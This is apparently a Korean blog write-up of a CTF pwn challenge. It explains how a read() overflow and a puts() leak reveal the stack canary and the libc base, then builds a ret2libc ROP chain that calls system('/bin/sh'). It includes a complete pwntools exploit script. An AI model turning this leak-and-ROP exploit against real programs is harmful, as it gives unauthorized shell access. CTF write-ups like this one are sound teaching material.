64bit ELF 파일과 해당 실행파일에서 사용되는 라이브러리가 주어졌다.
먼저 실행파일을 분석해보면, 선택지 리스트를 출력하고 선택된 작업을 수행하는, 반복 구조임을 알 수 있다.
보호 기법은 Canary와 NX(no execute)가 걸려있다.
- 메모리 보호 기법 확인
IDA로 확인해보면, 역시 while 문으로 반복 구조를 가지고 있고, switch-case문으로 선택된 작업을수행하는 것을 알 수 있다. 사용되는 함수도 몇 개 없지만, 특히 눈에 띄는 함수는 read() 함수와 puts() 함수이다.
read() 함수는 사용자의 입력이 이루어 질 수 있는 함수인 만큼 Buffer overflow와같은 취약점이 발생할 수 있고, puts() 함수는 널문자(‘\x00’)를 만나기 전까지의 값들을 출력하는 취약점을 가지고 있어, 메모리 릭을 노려볼 수 있다.
코드 상에서는 다음과 같이 사용되었다.
- read() 함수
- puts() 함수
먼저 이 문제에서 read() 함수에 대해서 살펴보면, 사용자의 입력이 저장되는 변수인 buf의 공간이 rbp-0xb0 에 위치해 있는 것에 비해, read(0, &buf, 0xf8)로 0xf8 바이트의 입력을 할 수 있으므로 버퍼 오버플로우 공격이 가능하다.
이 문제를 익스플로잇(exploit)하기 위한 페이로드(payload)를 구상해본다면, 사용자의 입력으로 buf부터 ret까지 사용자의 입력을 받아 덮어버리는데( 물론 canary를 우회하기 위하여 canary 위치에 알맞는 canary 값을 덮어씌워야 할 것이다. ) 이때 ret에 특정 가젯( pop rdi ; ret )을 덮고, 그 뒤를 인자가 될 “/bin/sh”가 있는 주소와 system() 함수의 주소로 덮는다면, 프레임이 종료되려 할 때 프로세스의 실행 흐름이 바뀌어 system(“/bin/sh”)가 수행될 것이다.
따라서 덮어씌울 내용은 다음과 같다.
dummy1 + canary + dummy2 + gadget_address(pop rdi; ret) + binsh_address + system_address
이제, 필요한 구성요소들을 구해야 할 차례이다. dummy의 크기를 구하고, canary 값을 구하고 pop rdi; ret 가 있는 가젯의 주소 값과 라이브러리 안의 함수의 주소 값들을 구하면 된다.
먼저 dummy의 크기와 canary의 위치를 구하도록 하자.
- canary 위치
Canary는 보이는 바와 같이 rbp – 0x8 에 위치하고 있다. 이를 스택 상에서 보면 다음과 같다. while 문의 적당한 위치에 break point를 걸고 feed로 AAAAA를 준 상황이다.
- stack 공간 1
빨간 부분이 canary 이고, 파란 부분은 필요 없는 공간이다. 따라서 dummy1의 크기는 0xa8 바이트이고 dummy2의 크기는 0x8 바이트이다.
canary 값은 입력 주소로부터 0xa8 byte 떨어진 공간에 위치하고 있지만, canary의 맨 마지막 바이트는 '\x00'이므로 한 바이트만큼 더 덮어야(0xa9 byte만큼) puts()함수를 통해 canary 값을 구할 수 있다.
다음으로 (pop rdi ; ret) gadget의 주소를 구해보도록 하자. ROPgadget이라는 도구를 사용하면 편하게 구할 수 있다.
- ROPgadget 사용
- libc base구하기 1
- libc base 구하기 2
사용자의 입력 값이 저장되는 buf 의 시작위치로부터 40 bytes 만큼 떨어져 있는 곳에 있는 주소는 libc 영역 안에 존재함을 분명하게 알 수 있다. 이 위치에 있는 주소 값은 프로그램을 실행할 때마다 다르겠지만, 이 오프셋(이 라이브러리의 시작 위치로부터의 이 함수의 시작 위치, 차이 값) 값은 여전할 것이다. 따라서 이 값에서 오프셋만큼 빼면 라이브러리의 시작 주소를 구할 수 있다.
- libc base 구하기 3
매번 입력 값으로 40 바이트만큼 덮어씌운뒤, puts() 함수를 이용하여 구한 값에서 0x35be9 만큼을 빼면 libc의 시작 주소 값을 구할 수 있다. 이 libc 안에 있는 /bin/sh와 system() 함수도 시작 주소로부터 일정한 거리에 있기 때문에, 구한 libc base로 부터 해당 오프셋만큼 더해주면 /bin/sh와 system() 함수의 주소도 알아낼 수 있다.
- /bin/sh 오프셋 구하기
- system() 함수 오프셋 구하기
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | from pwn import * r=process('./scv') #r=remote('pwn.chal.csaw.io',3764) def rr(): r.recvuntil('>>') def feed(cont): rr() r.sendline('1') rr() r.send(cont) def review(): rr() r.sendline('2') ############# library leak ################# feed('A'*40) review() r.recvuntil('A'*40) libc_leak=u64(r.recv(6).ljust(8,'\x00')) libc_base=libc_leak - 0x35be9 system_address = libc_base + 0x3f480 binsh_address = libc_base + 0x1619b9 r.success('libc_base = ' + hex(libc_base)) r.success('system address = ' + hex(system_address)) r.success('/bin/sh address = ' + hex(binsh_address)) ############## Canary found ################# feed('A'*0xa9) review() r.recvuntil('A'*0xa9) canary=u64('\x00'+r.recv(7)) r.success('canary = ' + hex(canary)) poprdi=0x0000000000400ea3 ############## Payload ###################### feed("A"*0xa8 + p64(canary) + 'B'*8 + p64(poprdi)+p64(binsh_address) + p64(system_address)) rr() r.sendline('3') r.interactive() | cs |
'Write-up' 카테고리의 다른 글
[reversing.kr] Easy_CrackMe writeup (0) | 2018.01.08 |
---|---|
[SECCON 2017] Vigenere3d writeup (0) | 2018.01.01 |
[Plaid CTF 2015] ebp (feat. double staged format string attack) (0) | 2017.11.01 |
[hackerschool ftz] level11 writeup (format string attack) (1) | 2017.10.30 |
[CSAW 2017] Best Router writeup (0) | 2017.10.11 |